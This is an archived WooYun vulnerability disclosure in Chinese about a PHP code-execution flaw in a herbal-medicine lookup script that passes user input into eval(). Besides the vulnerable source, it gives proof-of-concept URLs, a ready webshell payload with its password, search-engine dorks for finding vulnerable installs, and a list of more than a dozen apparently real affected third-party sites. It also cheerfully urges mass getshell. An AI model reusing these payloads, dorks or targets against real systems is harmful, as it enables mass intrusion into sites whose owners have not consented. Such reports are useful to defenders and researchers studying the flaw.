乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-03-10: 细节已通知厂商并且等待厂商处理中 2014-03-11: 厂商已经确认,细节仅向厂商公开 2014-03-14: 细节向第三方安全合作伙伴开放 2014-05-05: 细节向核心白帽子及相关领域专家公开 2014-05-15: 细节向普通白帽子公开 2014-05-25: 细节向实习白帽子公开 2014-06-08: 细节向公众公开
#1.之前发布的第一集是: WooYun: 某生活查询工具代码执行#可批量Getshell 【粥谱篇】,本第二集则讲到的是【中草药篇】。首先看看源代码:
<?phpset_time_limit(0);$prescription = trim($_GET['q']);$id = intval($_GET['id']);$r_num = 0; //结果个数$lan = 3;$pf = "";$pf_l = "";if($prescription!=""){ $dreamdb=file("data/zcyt.dat");//读取中草药文件 $count=count($dreamdb);//计算行数 for($i=0; $i<$count; $i++) { $keyword=explode(" ",$prescription);//拆分关键字 $dreamcount=count($keyword);//关键字个数 $detail=explode("\t",$dreamdb[$i]); for ($ai=0; $ai<$dreamcount; $ai++) { @eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[0]\");");////这个地方使用了一个危险的eval函数导致了代码执行 if(($found)){ if(fmod($r_num,$lan)==0) $pf_l .= "<tr>"; $pf_l .= '<td width="'.(100/$lan).'%"><img src="/img/jiantou.gif" /> <a href="?id='.($i+1).'">'.$detail[0].'</a></td>'; if(fmod($r_num,$lan)+1==$lan) $pf_l .= "</tr>"; $r_num++; break; } } } $pf_l = '<table width="700" cellpadding="2" cellspacing="0" class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle" colspan="5"><b><a href="./">中草药</a>:找到 <a href="./?q='.urlencode($prescription).'"><font color="#c60a00">'.$prescription.'</font></a> 的相关中草药'.$r_num.'个</b></td></tr><tr><td><table cellpadding="5" cellspacing="10" width="100%">'.$pf_l.'</table></td></tr></table>';}elseif($id>0){ $dreamdb=file("data/zcy.dat");//读取中草药文件 $count=count($dreamdb);//计算行数 $detail=explode("\t",$dreamdb[$id-1]); $pf = '<table width="700" cellpadding=2 cellspacing=0 class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle"><b><a href="./">中草药</a> / '.$detail[0].'</b></td><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" align="right">'; if($id>1 && $id<=$count) $pf .= '<a href="?id='.($id-1).'">上一个</a> '; $pf .= '<a href="./">查看全部</a>'; if($id>=1 && $id<$count) $pf .= ' <a href="?id='.($id+1).'">下一个</a>'; $pf .= '</td></tr><tr><td align="center" colspan="2"><h3>'.$detail[0].'</h3></td></tr><tr><td style="padding:5px;line-height:21px;" colspan="2"><p>'.$detail[1].'</p><center><b><font color=#F77824>查询吧</font></b><font color=#5AA2EE>提醒您:</font><font color=#FF0000>此中草药来源于网络,使用前请遵医嘱。</font></center></td></tr></table>';}else{ $dreamdb=file("data/zcyt.dat");//读取中草药文件 $count=count($dreamdb);//计算行数 $pfl = rand(0,intval($count/60)); for($i=$pfl*60; $i<$pfl*60+60; $i++) { if($i>=$count-1) break; $detail=explode("\t",$dreamdb[$i]); if(fmod($r_num,$lan)==0) $pf_l .= "<tr>"; $pf_l .= '<td width="'.(100/$lan).'%"><img src="/img/jiantou.gif" /> <a href="?id='.($i+1).'">'.$detail[0].'</a></td>'; if(fmod($r_num,$lan)+1==$lan) $pf_l .= "</tr>"; $r_num++; } $pf_l = '<table width="700" cellpadding="2" cellspacing="0" class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle" colspan="5"><b>推荐中草药'.$r_num.'个</b></td></tr><tr><td><table cellpadding="5" cellspacing="10" width="100%">'.$pf_l.'</table></td></tr></table>';}?>
#2.这是一个中草药查询页面,google、baidu可以批量搜索到,关键字如下:intitle:中草药 查询 inurl:zhongcaoyaoinurl:zhongcaoyao/index.php....等等,自己构造更好的关键字即可批量getshell。#3.代码执行证明如下:http://www.baigoohoo.com/tools/zhongcaoyao/?q=%7B%24%7Bphpinfo%28%29%7D%7D 执行了phpoinfo 直接构造一句话地址:http://www.baigoohoo.com/tools/zhongcaoyao/?q={${eval%28$_POST[u]%29}} 密码:u #4.更多如下: http://www.jy-it.cn/zhongcaoyao/index.php?q={${phpinfo()}}http://www.ip3q.com/toolsji/zhongcaoyao/index.php?q={${phpinfo()}}http://www.yiyaodh.cn/zhongcaoyao/index.php?q={${phpinfo()}}http://tool.wanzdsw.com/tool/zhongcaoyao/index.php?q={${phpinfo()}}http://www.jybhy.com/bbx/zhongcaoyao/index.php?q={${phpinfo()}}http://www.baigoohoo.com/tools/zhongcaoyao/index.php?q={${phpinfo()}}http://www.zj0762.com/tools/zhongcaoyao/index.php?q={${phpinfo()}}http://tool.yp360.net/shenghuo/zhongcaoyao/index.php?q={${phpinfo()}}http://bst.52xunwu.com/zhongcaoyao/?q={${phpinfo()}}http://www.leizu.cc/bm/zhongcaoyao/?q={${phpinfo()}}http://zixun360.com/tool/zhongcaoyao/?q={${phpinfo()}}http://www.jh66.net/tool/zhongcaoyao/?q={${phpinfo()}}http://86iw.com/bbx/zhongcaoyao/?q={${phpinfo()}}http://tool.czvv.com/zhongcaoyao/?q={${phpinfo()}}http://cha.0356.com/zhongcaoyao/?q={${phpinfo()}}等等,关键字构造的好,shell自然多~
直接构造一句话地址:http://www.baigoohoo.com/tools/zhongcaoyao/?q={${eval%28$_POST[u]%29}} 密码:u
#4.更多如下:
http://www.jy-it.cn/zhongcaoyao/index.php?q={${phpinfo()}}http://www.ip3q.com/toolsji/zhongcaoyao/index.php?q={${phpinfo()}}http://www.yiyaodh.cn/zhongcaoyao/index.php?q={${phpinfo()}}http://tool.wanzdsw.com/tool/zhongcaoyao/index.php?q={${phpinfo()}}http://www.jybhy.com/bbx/zhongcaoyao/index.php?q={${phpinfo()}}http://www.baigoohoo.com/tools/zhongcaoyao/index.php?q={${phpinfo()}}http://www.zj0762.com/tools/zhongcaoyao/index.php?q={${phpinfo()}}http://tool.yp360.net/shenghuo/zhongcaoyao/index.php?q={${phpinfo()}}http://bst.52xunwu.com/zhongcaoyao/?q={${phpinfo()}}http://www.leizu.cc/bm/zhongcaoyao/?q={${phpinfo()}}http://zixun360.com/tool/zhongcaoyao/?q={${phpinfo()}}http://www.jh66.net/tool/zhongcaoyao/?q={${phpinfo()}}http://86iw.com/bbx/zhongcaoyao/?q={${phpinfo()}}http://tool.czvv.com/zhongcaoyao/?q={${phpinfo()}}http://cha.0356.com/zhongcaoyao/?q={${phpinfo()}}等等,关键字构造的好,shell自然多~
危害等级:高
漏洞Rank:15
确认时间:2014-03-11 10:08
CNVD确认漏洞机理分析情况以及案例情况,但未能确认软件生产厂商。先行确认,待后续由第三方安全厂商协助提供防护。
暂无